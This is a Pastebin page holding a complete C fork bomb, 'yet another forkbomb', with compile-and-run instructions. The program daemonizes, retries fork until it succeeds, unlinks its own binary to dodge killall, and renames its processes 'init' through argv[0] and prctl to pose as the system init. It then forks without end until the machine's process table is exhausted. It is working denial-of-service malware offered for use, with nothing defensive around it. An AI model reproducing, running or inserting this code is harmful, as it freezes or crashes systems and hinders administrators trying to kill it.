Advertisement
Guest User

yet another forkbomb

a guest
Jan 22nd, 2016
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.33 KB | None | 0 0
  1. /*
  2.  *                                yet another forkbomb
  3.  * 2016, gh0stwizard
  4.  *
  5.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  6.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  7.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  8.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  9.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  10.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  11.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  12.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  13.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  14.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  15.  * SUCH DAMAGE.
  16.  *
  17.  *  gcc -Wall -std=gnu99 -pedantic forkbomb.c
  18.  * ./a.out
  19.  */
  20. #ifdef __linux__
  21. #include <sys/prctl.h>
  22. #endif
  23. #include <unistd.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <time.h>
  28.  
  29. #define MAXFORKS 2
  30.  
  31. int main(int argc, char *argv[])
  32. {
  33.         char orig[256];
  34.         char next[] = "init";
  35.         pid_t cpid;
  36.         int len;
  37.         int count = MAXFORKS;
  38.         struct timespec wtime, ptime;
  39.  
  40.         len = strlen(argv[0]);
  41.         strncpy(orig, argv[0], len);
  42.  
  43.         wtime.tv_sec = 0;
  44.         wtime.tv_nsec = 1000000; /* 1 msec */
  45.  
  46.         ptime.tv_sec = 0;
  47.         ptime.tv_nsec = 50000000; /* 50 msec */
  48.  
  49.         while ((cpid = fork()) == -1) sleep(1);
  50.         if (cpid != 0) exit(EXIT_SUCCESS); /* daemonize */
  51.         unlink(orig); /* killall looks for /proc/[pid]/exe */
  52.  
  53.         while (count--) {
  54.                 while ((cpid = fork()) == -1) nanosleep(&wtime, NULL);
  55.                 if (cpid) {
  56.                         if (count == 0)
  57.                                 break; /* stop parent */
  58.                         else
  59.                                 continue;
  60.                 }
  61.                 strncpy(argv[0], next, len); /* cmdline */
  62. #ifdef __linux__
  63.                 prctl(PR_SET_NAME, (unsigned long)next, 0, 0, 0); /* comm */
  64. #endif
  65.                 /* payload */
  66.                 nanosleep(&ptime, NULL);
  67.                 if (count == 0)
  68.                         count = MAXFORKS;
  69.         }
  70.         return 0;
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement